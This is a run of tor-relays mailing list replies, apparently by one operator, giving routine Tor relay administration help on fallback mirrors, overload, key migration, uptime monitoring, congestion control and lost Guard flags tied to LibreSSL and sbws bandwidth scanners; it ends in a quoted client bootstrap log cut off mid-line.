CE47F0356D86CF0A1A2008D97623216D560FB0A8 52BFADA8BEAA01BA46C8F767F83C18E2FE50C1B9 8CAA470B905758742203E3EB45941719FCA9FEEC 1AE039EE0B11DB79E4B4B29CBA9F752864A0259E 03C3069E814E296EB18776EB61B1ECB754ED89FE 7600680249A22080ECC6173FBBF64D6FCF330A61 F9246DEF2B653807236DA134F2AEAB103D58ABFE 0C475BA4D3AA3C289B716F95954CAD616E50C4E5 AE6A8C18E7499B586CD36246AC4BCAFFBBF93AB2 8FA37B93397015B2BC5A525C908485260BE9F422 2CE96A8A1DA032664C90F574AFFBECE18A6E8DFC 9F5068310818ED7C70B0BC4087AB55CB12CB4377 Am 08.07.2020 um 19:36 schrieb gus: Dear Relay Operators, Do you want your relay to be a Tor fallback directory mirror? Will it have the same address and port for the next 2 years? Just reply to this email with your relay's fingerprint. Important: you have until July 23 2020 to reply to this message to get in the fallback directory mirror list. If your relay is on the current fallback list, you don't need to do anything. If you're asking: Q: What's a fallback directory mirror? Fallback directory mirrors help Tor clients connect to the network. For more details, see [1]. Q: Is my relay on the current list? Search [2] and [3] for your relay fingerprint or IP address and port. [2] is the current list of fallbacks in Tor. [3] is used to create the next list of fallbacks. Q: What do I need to do if my relay is on the list? Keep the same IP address, keys, and ports. Email tor-relays if the relay's details change. Q: Can my relay be on the list next time? We need fast relays that will be on the same IP address and port for 2 years. Reply to this email to get on the list, or to update the details of your relay. Once or twice a year, we run a script to choose about 150-200 relays from the potential list [3] for the list in Tor [2]. Q: Why didn't my relay get on the list last time? We check a relay's uptime, flags, and speed [4]. Sometimes, a relay might be down when we check. That's ok, we will check it again next time. It's good to have some new relays on the list every release. That helps tor clients, because blocking a changing list is harder. cheers, Gus [1] https://gitlab.torproject.org/tpo/core/tor/-/wikis/NetworkTeam/FallbackDirectoryMirrors [2] https://gitweb.torproject.org/tor.git/tree/src/app/config/fallback_dirs.inc [3] https://gitweb.torproject.org/fallback-scripts.git/tree/fallback_offer_list [4] https://trac.torproject.org/projects/tor/attachment/ticket/21564/fallbacks_2017-05-16-0815-09cd78886.log ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] >23% Tor exit relay capacity found to be malicious - call for support for proposal to limit large scale attacks
Hi nusenu Thank's you for your encouraging efforts to keep things safe. Am 05.07.2020 um 18:35 schrieb nusenu: To prevent this from happening over and over again I'm proposing two simple but to some extend effective relay requirements to make malicious relay operations more expensive, time consuming, less sustainable and more risky for such actors Is an issue real or not? Any answer to that question does not contradict a substantial method. Right, the proposed measure is not against sneek-in attackers but it buys time to detect and tackle sudden issues. Let's move forward. I hear you. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] (no subject)
Hi Станислав You have two relays running at the same IP. Your IP and relays seem visible to the network: armik CE5ED345398CC02D573347C2F238F80B18E680EE 178.140.230.147,broadband-178-140-230-147.ip.moscow.rt.ru,443,80 FastRun V2Dir Valid bw=9290 FastV2Dir Valid FastRun V2Dir Valid FastV2Dir Valid bw=10200 FastV2Dir Valid V2Dir Valid V2Dir Valid Run V2Dir Valid FastV2Dir Valid bw=7890 armik1 0C0388BC552D7AC903F49390A40244FD3FFF44A2 178.140.230.147,broadband-178-140-230-147.ip.moscow.rt.ru,9001,9030 FastRun V2Dir Valid bw=4650 FastRun V2Dir Valid FastRun V2Dir Valid FastRun V2Dir Valid bw=3200 FastRun V2Dir Valid !Fast Run V2Dir Valid FastRun V2Dir Valid bw=5960 !Fast Run V2Dir Valid FastRun V2Dir Valid bw=6670 FastRun V2Dir Valid bw=4650 bwauth=moria1 Am 14.05.2020 um 19:18 schrieb Станислав: hi, I still don’t understand why the relays constantly go offline for no apparent reason May-be there are indications: On 4 May 2020, at 20:51, Станислав mailto:armik...@gmail.com>> wrote: hi, strange but the relay constantly spontaneously goes offline after 3, 4 hours again online in the logs no errors other than this (Failing because we have 4063 connections already. Please read doc / TUNING for guidance. [over 1601 similar message (s) suppressed in last 21600 seconds) and TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. Check SNMP counters. what it can mean? also my 2 relays go offline for a few hours once a day, then are restored. Port 80 is your DIR port. If you suffer under potential overload or not enough resources (by what ever reason) you can reduce. Run only one relay with OR port only and strict DOS settings. Then wait a week if everything works. Wait an other week. If still everything is running well add the DIR port again and wait and wait. Add the second relay in the same way and finally relax DOS settings. When ever the relay(s) become unstable go one step back. This is a recommendation but there might better ways to go. Good luck! -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Relay Or/Dirport Unreachable
Hi Kathi Am 19.03.2020 um 02:28 schrieb Kathi: > Modem Zyxel C3000 _was_ set to port forward on 9001, 9030, and 9050 Port forwarding for Or/Dirport is necessary. A forward of 9050 (in its default usage) is not good. It's a SocksPort. If somebody finds it ey can use it as open Proxy. > IP 192.XXX.X.X Fine, it's your non public LAN address. > after much struggling/research to open ports 9001/9030 Good. > NOTE: I know tor.Nyx should not be run as root, I get that. > Tor/Nyx are running as root. I don’t know how to use > debian-tor as usr. Nyx shows in it’s configuration as usr > debian-tor. Su debian-tor produces a rollover back to root > usr prompt. By default Tor installs as a no-login user 'debian-tor'. So su does not work. Better don't run Tor as root, try to run the Tor daemon under 'debian-tor'. > Nyx – No complaints, running as default. After just two > minutes of operation the relay was running at 2 MB/s with > bursts up to 3 MB/s. After the obligatory/frustrating twenty > minute wait for or/dirport hand shaking I get:orport/dirport > unreachable…. Adnauseum! Is this after you moved the relay (torrc + keys) ? I read it like you moved only the torrc. The Tor keys identify the relay. They wanna be moved too. And the Tor process needs to have access to it, adopt user/group ownership. [] https://support.torproject.org/operators/upgrade-or-move/ > Changed IP address to one given by tor, still unreachable. How du you mean by: Tor gave you address ? > Lastly, I removed the 900l/9030 ports from the modem > and installed 6969 as the orport. I am not sure why it didn't work with 9001/9030. > Changed GUFW, verified the changes took place, changed > ip to real world IP 63.xxx.xxx.xxx in torrc. > Hand shaking to the orport was almost immediate. > Right now, the relay after twenty hours of operation is > tortusing along at 20 B/s. My understanding is you wanted to move a figured out and running relay from your domain area to an external provider. Which is possible. If you move the relay please move the keys and adopt the torrc right and to your needs. If the keys are not moved correctly Tor generates new keys and puts you back to start position. That can cause low bandwidth consensus/usage at the new begin. > Which to me is pure BS. We try to fix that. It is helpful if you post the fingerprint and torrc file here. Thanks for working hard to get the relay run. Good luck! -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Any tor relay watchdog services? - self made alternatives
Hi Layer13 Am 13.03.2020 um 09:51 schrieb Paul Geurts: > it would send me an automated email telling me that my relay is down I apologize to not answer to what you ask for. > A little bit of backstory on why I need this: > so a couple of days ago (13 to be exact) my server had an > issue and rebooted, since that reboot I didn't start my relay > node and it was down for 13 days until I noticed it today. But let me propose some alternatives: 1) Make the tor instance start after a server reboot On super old Debian it worked for me like: # crontab -e @reboot tor -f /etc/tor/torrc >/dev/null 2>&1 On Freebsd it works like: echo tor_enable="YES" > /etc/rc.conf 2) Run a tor client (only) on any other pc, pi or server if you have one and grep its consensus file hourly for the fingerprint of your relay. The computer could send out emails etc. The consensus file is found in the tor client tor data directory: %DataDirectory%/cached-microdesc-consensus The tor client receives documents from the network hourly or so. If the network does not see your relay for a certain periode it gets kicked from the consensus list until it's back and running well enough. Btw the flags and the consensus value can be found there as well. 3) Edit the tor servers torrc file and include the directive: DirPortFrontPage /somewhere/mypage.html Write a simple html file and give tor the rights to read it: # nano /somewhere/mypage.html TorServerNonExit my fingerprint You need to have the DirPort active. If the DirPort is on a browser readable port (ie 80) you can browse, wget or curl the relay_address:port and see if the daemon runs. Have fun with your relays and stay healthy! -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] TCP CCA for Tor Relays (and especially Bridges)
Hi Matt Am 2020-01-09 um 6:58 AM schrieb Matt Corallo: I’m sure this exists somewhere so this is more of a request-for-links, but what’s the current thinking on TCP CCA selection for Tor relays? While it has fairness issues (and reported long-tail issues for higher-latency links, though I can’t find good in-practice analysis of this), BBA should handle random packet loss much better than, eg, Cubic. This is likely less of an issue for western users, but many other parts of the world (especially China) see much higher packet loss due to regularly-overloaded links. I presume it is not good practice to change the default CCA for relays/bridges, but it seems BBA/BBAv2 would be a worthwhile experiment to see if it improves the browsing experience for non-western tor users. Matt You can find a nice compare between loss less and loss based congestion here [1]. It's difficult to say if one or the other are better in the use with Tor. A single TCP connection between two Tor relays bundles multiple circuits (data flows) which can result in very different needs for congestion to connect end points. [1] https:// heim.ifi.uio.no/davihay/hayes10__google_delay_based_tcp_conges_contr.pdf -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] possible interference between sbws and a libressl relay
Am 2019-09-23 um 1:59 AM schrieb teor: Hi, Hi We need some more information to diagnose the issue, and answer these questions: * Is this issue reproducible? In my Freebsd monoculture, yes. 20 guard relays shared the same history: Tor versions Tor 0.4.0.5, 0.4.1.2-alpha, 0.4.1.3-alpha, all on LibreSSL 2.9.2. Running guard since >1 month before they all lost guard flags between 2019-08-15 10pm and 2019-08-16 1am. * Are all tor clients affected? They became middle relays so I expect no client will connect (besides onion services?). But they were pushing a lot of data as middles. * If only some tor clients are affected, why are they affected? No idea, sorry. * Are all bandwidth authorities affected, or just the ones running sbws? Short: Torflow is ok, sbws not Consensus for a relay with Libressl 292 maatu. (!running, fast, !guard, bw ok) moria1 (running, fast, guard, bw ok) farav. (running, fast, guard, bw ok) longc. (running, !fast, !guard, no bw) bastet (running, !fast, !guard, no bw) All relays w/o 292 received quickly running and fast from all bw auths, later guard. * Are these issues actually instances of know sbws bugs? I don't think so. For further testing I keep the relays like this: All the relays are on the same dedicated server now working ok: 79D9E66BB2FDBF25E846B635D8248FE1194CFD26 Tor 0.4.1.6, OpenSSL 1.1.1d ACBBB426CE1D0641A590BF1FC1CF05416FC0FF6F Tor 0.4.1.5, OpenSSL 1.0.2s 9F5068310818ED7C70B0BC4087AB55CB12CB4377 Tor 0.4.1.6, LibreSSL 3.0.0 8FA37B93397015B2BC5A525C908485260BE9F422 Tor 0.4.1.5, OpenSSL 1.0.2t suffering: ED7F2BE5D2AC7FCF821A909E2486FFFB95D65272 Tor 0.4.1.3-alpha, LibreSSL 2.9.2 I hope that helps. Please tell me how I can support. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] possible interference between sbws and a libressl relay
Am 2019-09-21 um 4:11 PM schrieb Toralf Förster: On 9/16/19 9:19 PM, Felix wrote: The sbws bandwidth authorities now can measure the bandwidth of the relay. Can somebody confirm my observation or has prove (please no speculations). I upgraded LibreSSL from 2.9.2 to 3.0.0 here at a stable Gentoo Linux and got immediately from all IPv6 capable BW authorties the "ReachableIPv6" flag back at both affected relays. I have different ssl library setups on the same server (Freebsd): sbws measurement is working now for Openssl102s/t, Openssl111d and Libressl 300. sbws measurement is _not_ working now for Libressl 292. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] possible interference between sbws and a libressl relay (was: Measuring the Accuracy of Tor Relays' Advertised Bandwidths)
Hi everybody This is an early report and has to be confirmed over the next days. Am 2019-08-26 um 11:58 PM schrieb teor: >> On 27 Aug 2019, at 05:19, Toralf Förster >> wrote: >> >>> On 8/26/19 3:14 AM, teor wrote: >>> We expect to have funding to fix these bugs some time in the >>> next month or two. >> >> So I'll just wait. > > Waiting might not help, if the issue is on your relay Trying out different settings on server side had no effect. The relay s/w environment seems to interfere with sbws. At first: I run serveral relays on Freebsd since longer time and always compile libressl, libevent, zstd and tor(-devel), like: Jul 15 20:59:17.470 [notice] Tor 0.4.1.3-alpha running on FreeBSD with Libevent 2.1.10-stable, OpenSSL LibreSSL 2.9.2, Zlib 1.2.11, Liblzma 5.2.3, and Libzstd 1.4.0. This worked fine until Aug/16 when I lost nearly all the relays guard flags: Consensus Sep/7 ACBBB426CE1D0641A590BF1FC1CF05416FC0FF6F Planetclaire62 Fast !Running Stable V2Dir Valid bw=8200 Fast !Running Stable V2Dir Valid !Fast Running Stable V2Dir Valid Fast !Running Stable V2Dir Valid !Fast Running Stable V2Dir Valid Fast !Running Stable V2Dir Valid Fast Running Stable V2Dir Valid bw=747 Fast Guard HSDir Running Stable V2Dir Valid Fast Guard HSDir Running Stable V2Dir Valid bw=8180 Fast Running Stable V2Dir Valid bw=8180 bwauth=faravahar No clue why this happend. Since then I searched for the reason. On Sep/14 the change to openssl brought back the guard flag today: Sep 14 04:20:29.748 [notice] Tor 0.4.1.5 running on FreeBSD with Libevent 2.1.10-stable, OpenSSL 1.0.2s, Zlib 1.2.11, Liblzma 5.2.3, and Libzstd 1.4.0. Consensus today ACBBB426CE1D0641A590BF1FC1CF05416FC0FF6F Planetclaire62 Fast !Guard Running !Stable V2Dir Valid bw=16000 Fast !Guard Running !Stable V2Dir Valid Fast Guard Running Stable V2Dir Valid bw=14000 Fast !Guard Running !Stable V2Dir Valid Fast Guard Running Stable V2Dir Valid bw=22000 Fast !Guard Running !Stable V2Dir Valid Fast Guard Running Stable V2Dir Valid bw=12200 Fast Guard Running Stable V2Dir Valid Fast Guard Running Stable V2Dir Valid bw=12100 Fast Guard Running Stable V2Dir Valid bw=14000 bwauth=longclaw >>> I don't think the sbws bandwidth authorities are causing the >>> issue that you're seeing with your consensus weight or flags. The sbws bandwidth authorities now can measure the bandwidth of the relay. Can somebody confirm my observation or has prove (please no speculations). Am 2019-08-28 um 8:09 PM schrieb Toralf Förster: On 8/26/19 11:58 PM, teor wrote: Waiting might not help Indeed. The picture is: A bunch of relays, running since a longer time by different operators, are affected. Examples are [1], [2] and [3] The hoster do differ (Hetzner, i3D.net B.V, Host Europe GmbH), the OS too (Linux, Open BSD, FreeBSD), and the country (DE, NL) So the root cause might be a peer those hosters route their traffic too -or- located in the Tor software -or- ... It seems there's nothing I can do here to narrow down the issue nor to blame my hoster, or? I do wonder about the number of relays affected, meaning lost their Guard flags around 15th of August and didn't get it back till today? [1] me : https://metrics.torproject.org/rs.html#details/63BF46A63F9C21FD315CD061B3EAA3EB05283A0A [2] Felix: https://metrics.torproject.org/rs.html#details/CE47F0356D86CF0A1A2008D97623216D560FB0A8 [3] me searched this too: https://metrics.torproject.org/rs.html#details/0CDCFB0B6E1500E57BDD7F240543EBAEF81C11CA Toralf, may-be your s/w environment shows similar incompatibility to sbws? But may-be it's something different. Good luck! -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Measuring the Accuracy of Tor Relays' Advertised Bandwidths
Hi everybody Am 2019-08-24 um 11:38 AM schrieb Toralf Förster: On 8/19/19 4:56 AM, teor wrote: Yes, changing other relays' bandwidths can affect the Guard flag, because Guard is given to the fastest, most stable relays. I'm not convinced that this is the culprit for the mentioned relay [1]. I found another relay [2] where at least 4 of the 9 authorities doesn't set the "Running" flag, which is needed for "Guard", right? That relay has a reasonable bw value to (23,000 , FWIW the value for [1] is about 90,000). So now I do wonder why the Running flag is lost after a year. [1] https://consensus-health.torproject.org/consensus-health-2019-08-24-07-00.html#509EAB4C5D10C9A9A24B4EA0CE402C047A2D64E6 [3] https://consensus-health.torproject.org/consensus-health-2019-08-24-08-00.html#0CDCFB0B6E1500E57BDD7F240543EBAEF81C11CA I have a similar experience like Toralf. Since a week all my relays (but one) are middle relays. Which is fine because they push good traffic. All are measured by maatu, gabel, moria1 and farav. But only one is measured by longc and bastet. [1] Why is that? My understanding is six of nine authorities measure bandwitdh. I can download bandwidth files from all six from a _non_ measured server [2], so connection is given. But I see about 2.4MB doc size from the ones working for me and 4MB from the ones not working. Any clue what is the difference between those? My family is [3]. The good relay is 402 and the `bad´ ones are between 405 and 415. Don't get me wrong. If guard, middle or exit all relays are important. But it's a little strange. PS: dannenberg has Missing Signature [1] https://consensus-health.torproject.org/consensus-health.html [2] CE47F0356D86CF0A1A2008D97623216D560FB0A8 [3] https://metrics.torproject.org/rs.html#search/family:1AE039EE0B11DB79E4B4B29CBA9F752864A0259E -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] update tor relay version
Am 16.03.2019 um 14:52 schrieb nusenu: And don't forget the fingerprint file :) why? Good question - it turns out because of no reason. Since ancient times I move the fingerprint file with the keys. Because of your question I set up a temporary clone without the old fingerprint file and everything is like it should be. So please let me improve my post like: And forget the fingerprint file :) Thanks and a nice weekend for everybody -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] update tor relay version
Am 16.03.2019 um 13:08 schrieb nusenu: ... Other questions, can you confirm to me that in case of migration on another server the only key files to preserve are: - ed_master_id_secret_key - secret_id_key - secret_onion_key_ntor simply copy the entire "keys" folder in your DataDirectory and make sure the filesystem permissions are set properly and you should be fine. And don't forget the fingerprint file :) -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] relay load increase (was: note to Falback Directory operators: bandwidth wasting bot)
Hi everybody Tor relay load increase is going on. 1) Not normal: Some relays see much more circuits (ie the normal number of circuits was about 15-20k and is 100k-400k today). 2) Not normal: Fallbacks receive extensive use today. We are writing too much. Am 09.11.2018 um 17:17 schrieb starlight.201...@binnacle.cx: For the last year a bot of some kind has loaded Fallback Directory relays with excessive directory document requests. Some detail can be found in ticket #27921 at https://trac.torproject.org/projects/tor/ticket/27921. To determine if your relay is affected, look the relay up in https://metrics.torproject.org/rs.html, click the 6-Month history tab, and examine the graph for significantly higher "write bytes per second" relative to "read bytes per second". I find this annoying (since I pay for the wasted bandwidth) and came up with a one-line hack that mitigates the abuse without impairing the usefulness of the DIR service to normal relays and clients. If you compile your daemon from source and are interested contact me directly for the patch. https://metrics.torproject.org/rs.html#details/ 1AE039EE0B11DB79E4B4B29CBA9F752864A0259E A2E6BB5C391CD46B38C55B4329C35304540771F1 B86137AE9681701901C6720E55C16805B46BD8E3 3) Not normal: https://metrics.torproject.org/hidserv-rend-relayed-cells.html?start=2017-01-01 -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Circuit storms
Am 31.01.2019 um 14:19 schrieb Felix: Hi everybody Circuit storms observed of up to 100k and 250k per relay for over hours. Consumed BW rises by about 10%. Number of stateful server connections is higher. Using Tor 356 to 401. Anybody else observes that? Switching to some paranoid server settings for some days :) I forgot this one: https://metrics.torproject.org/hidserv-rend-relayed-cells.html?start=2017-01-01 -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Circuit storms
Hi everybody Circuit storms observed of up to 100k and 250k per relay for over hours. Consumed BW rises by about 10%. Number of stateful server connections is higher. Using Tor 356 to 401. Anybody else observes that? Switching to some paranoid server settings for some days :) -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] slow relays
Hi Ron Am 14.01.2019 um 04:49 schrieb ronqtorrel...@risley.net: So your guards have slightly lower than average utilisation: 1 Mbps / 5.1 Mbps = 20% 1.2 Mbps / 7.4 Mbps = 16% I wouldn't worry about it too much. Okay, I'll try to lose the inferiority complex around my bandwidth > usage. Mostly trying to make sure I wasn't doing anything silly > that was causing my surplus bandwidth to go to waste. Just a guess: Your cpu idles and your bandwidth is underused? Put a second relay to your ip. You have more ips? Put more relays to them. Some underused relays might end up in a well used server :) -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] 300mbps FreeBSD Tor relay on HPE MicroServer Gen10 (AMD X3421)
Hi Neel My relay runs FreeBSD 11.2 and Tor runs in a "jail". Jails are perfect for that! I observed the host Freebsd tcp stack is strong enough for more than 500Mbit/s in AND out. > I am using AESNI and Tor is configured to use OpenSSL cryptodev. Does crypto run? On log info you should find the following entry during start: [info] crypto_openssl_init_engines: Initializing dynamic OpenSSL engine "dynamic" acceleration support. [info] crypto_openssl_init_engines: Loaded dynamic OpenSSL engine "dynamic". After finding this message you can switch to notice and restart. * I want to keep using FreeBSD on my server and do not want to run Linux +1 * I would prefer to have a single instance, but can use multiple if I have to It's BSD, so may-be consider to go for libressl from ports (which does not support the crypto engine). And then use 2 instances per ip. Better for diversity ;) * My server supports hardware accelerated AES and SHA. I am using this on FreeBSD with the aesni kernel module and Tor with "HardwareAccel 1" and "AccelName cryptodev" A toorc can look like: RelayBandwidthRate 0 RelayBandwidthBurst 0 HardwareAccel 1 AccelName dynamic Log info file /var/log/tor/info -- Cheers from 35c3 , Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] consensus-health.html and fallback dirs
>> I wonder how we can come from 116 running fallbacks to 155 within >> one week (without a new release) Am 16.12.2018 um 08:01 schrieb starlight.201...@binnacle.cx: > The cause is > > https://gitweb.torproject.org/tor.git/commit/?id=78e177d622f5f3b24023d04458f5948275a44766 Ah, great! This makes sense. It's a transient to the list update. > https://trac.torproject.org/projects/tor/ticket/24803 The upcoming one seems to be: https://trac.torproject.org/projects/tor/ticket/28795 -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] consensus-health.html and fallback dirs
Hi everybody Reading [1] shows the following statistics about the fallback dirs: Dec 5: Running 116 Not Running 0 Missing 34 Dec 13: Running 155 Not Running 0 Missing 2 Today (Dec 16) shows: Running 151 Not Running 0 Missing 6 I wonder how we can come from 116 running fallbacks to 155 within one week (without a new release): Then I checked for some fallbacks and found: The relay with the fp F9246DEF2B653807236DA134F2AEAB103D58ABFE was a fallback acc. fallback_dirs.inc until around 3.2.8rc, then it changed ip. It is still in 2.9.x lts but with the old ip, recommended but actually useless. Since around Dec 13 it is listed again [1] where it wasn't through 2018. The same with 8FA37B93397015B2BC5A525C908485260BE9F422. Are the two relays newly counted as running in [1], where they are useless because of the changed ips? The new ips aren't in any fallback_dirs.inc's and [2] shows no fallback flag. Would thereby [1] look better than it is? [1] https://consensus-health.torproject.org/consensus-health.html [2] https://metrics.torproject.org/rs.html#details/F9246DEF2B653807236DA134F2AEAB103D58ABFE -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] new log message: [warn] Unparseable microdescriptor
Hi Are the two warnings below of the same type for this issue? Am 29.10.2018 um 07:03 schrieb teor: > Hi Toralf, > > Thanks for reporting this issue. > >> On 24 Oct 2018, at 07:38, Toralf Förster wrote: >> >> Get this at my exit relay since yesterday: >> >> # head /tmp/warn.log >> Oct 23 23:30:17.000 [notice] Tor 0.3.5.3-alpha opening new log file. >> Oct 23 23:30:33.000 [warn] parse error: internal NUL character. >> Oct 23 23:30:33.000 [warn] Unparseable microdescriptor >> Oct 23 23:30:33.000 [warn] parse error: internal NUL character. >> Oct 23 23:30:33.000 [warn] Unparseable microdescriptor >> >> even with log level "debug" there seems to be no more information. > > You should see an info-level message that starts: > > "Unable to parse descriptor of type" > > Can you send any messages like this to the list? > > If those messages contain a filename, can you please send us a > pastebin link to the contents of that file? > > (If the messages just contain a hash, look for a file with a name > that contains that hash in unparseable-descs in your data directory.) > > I opened a ticket for this bug: > https://trac.torproject.org/projects/tor/ticket/28223 Non-exit Oct 28 23:48:32.587 [notice] Tor 0.3.5.3-alpha running on FreeBSD with Libevent 2.1.8-stable, OpenSSL LibreSSL 2.7.4, Zlib 1.2.11, Liblzma 5.2.3, and Libzstd 1.3.5. ... Oct 28 23:48:33.000 [notice] Bootstrapped 0%: Starting Oct 28 23:48:34.000 [warn] couldn't find start of hashed material "network-status-version" Oct 28 23:48:34.000 [warn] Unable to compute digest of network-status Oct 28 23:48:34.000 [warn] Unable to parse networkstatus consensus Oct 28 23:48:34.000 [warn] Couldn't load consensus microdesc networkstatus from cache Oct 28 23:48:34.000 [warn] parse error: Malformed object: missing object end line Oct 28 23:48:34.000 [warn] Unparseable microdescriptor Bridge: Oct 28 14:35:17.667 [notice] Tor 0.3.3.9 (git-45028085ea188baf) running on FreeBSD with Libevent 2.1.8-stable, OpenSSL LibreSSL 2.7.4, Zlib 1.2.11, Liblzma 5.2.3, and Libzstd 1.3.5. ... Oct 28 14:35:53.000 [notice] Bootstrapped 0%: Starting Oct 28 14:35:55.000 [warn] parse error: Annotations mixed with keywords Oct 28 14:35:55.000 [warn] Unparseable microdescriptor -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Restore tor exit node - file ownership
> On Friday, October 26, 2018 6:49 PM, wrote: >> When I started the tor-service a new ed25519_signing_cert and >> ed25519_signing_secret_key were generated as well as a new >> fingerprint. The secret_* files still have the old timestamp >> but new fingerprint had been created. Am 27.10.2018 um 03:56 schrieb to...@protonmail.com: > This happened to me as well this week. I copied over the torrc > and keys directory; I thought that was all I needed. But I got a > new fingerprint, so the relay is seen as new. > Running Tor 0.3.4.8 on freeBSD. Those files were 'copied' cp-ish ? Copy not cares for ownerships. Tor generates files if tor can not find or can access them. Your original files might be overwritten now. On Freebsd it should be like: # ls -alo /var/db/tor -rw--- 1 _tor _tor - date/time fingerprint ... more files ... drwx-- 2 _tor _tor - date/time keys # ls -alo /var/db/tor/keys/ -rw--- 1 _tor _tor - date/time secret_onion_key ... more files ... chown can heal it: # chown -R _tor:_tor /var/db/tor # chown -R _tor:_tor /var/db/tor/keys I hope I got your points. Please check before you type, it's your world. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] New to Tor Relay, using Rasberry Pi3. Grateful for Help
Hi Judge Am 26.10.2018 um 14:38 schrieb Judd Briggs: > Good evening, thanks for taking the time to help me. ... > Best regards, > Judge > But I believe in what TOR stands for so I wanted to do something > with the Pi I had sitting around. Welcome. The posting is hard to read so I reformated it. It looks like a valid Tor client log. Not a relay. Oct 25 21:23:04.000 [notice] Tor 0.2.9.15 (git-2dc1a1a2abab5403) opening new log file. Oct 25 21:23:04.579 [notice] Tor 0.2.9.15 (git-2dc1a1a2abab5403) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.1.0f and Zlib 1.2.8. Oct 25 21:23:04.579 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning Oct 25 21:23:04.579 [notice] Read configuration file "/usr/share/tor/tor-service-defaults-torrc". Oct 25 21:23:04.579 [notice] Read configuration file "/etc/tor/torrc". Oct 25 21:23:04.593 [notice] Opening Socks listener on 127.0.0.1:9050 Oct 25 21:23:04.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip. Oct 25 21:23:05.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6. Oct 25 21:23:06.000 [notice] Bootstrapped 0%: Starting Oct 25 21:23:06.000 [notice] Signaled readiness to systemd Oct 25 21:23:07.000 [notice] Opening Socks listener on /var/run/tor/socks Oct 25 21:23:07.000 [notice] Opening Control listener on /var/run/tor/control Oct 25 21:23:07.000 [notice] Bootstrapped 5%: Connecting to directory server Oct 25 21:23:07.000 [notice] Bootstrapped 10%: Finishing handshake with directory server Oct 25 21:23:09.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection Oct 25 21:23:09.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus Oct 25 21:23:09.000 [notice] Bootstrapped 25%: Loading networkstatus consensus Oct 25 21:23:20.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. Oct 25 21:23:20.000 [notice] Bootstrapped 40%: Loading authority key certs Oct 25 21:23:21.000 [notice] Bootstrapped 45%: Asking for relay descriptors Oct 25 21:23:21.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6404, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.) Oct 25 21:23:23.000 [notice] Bootstrapped 50%: Loading relay descriptors Oct 25 21:23:23.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6404, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.) Oct 25 21:23:25.000 [notice] Bootstrapped 56%: Loading relay descriptors Oct 25 21:23:25.000 [notice] Bootstrapped 65%: Loading relay descriptors Oct 25 21:23:25.000 [notice] Bootstrapped 71%: Loading relay descriptors Oct 25 21:23:25.000 [notice] Bootstrapped 78%: Loading relay descriptors Oct 25 21:23:26.000 [notice] Bootstrapped 80%: Connecting to 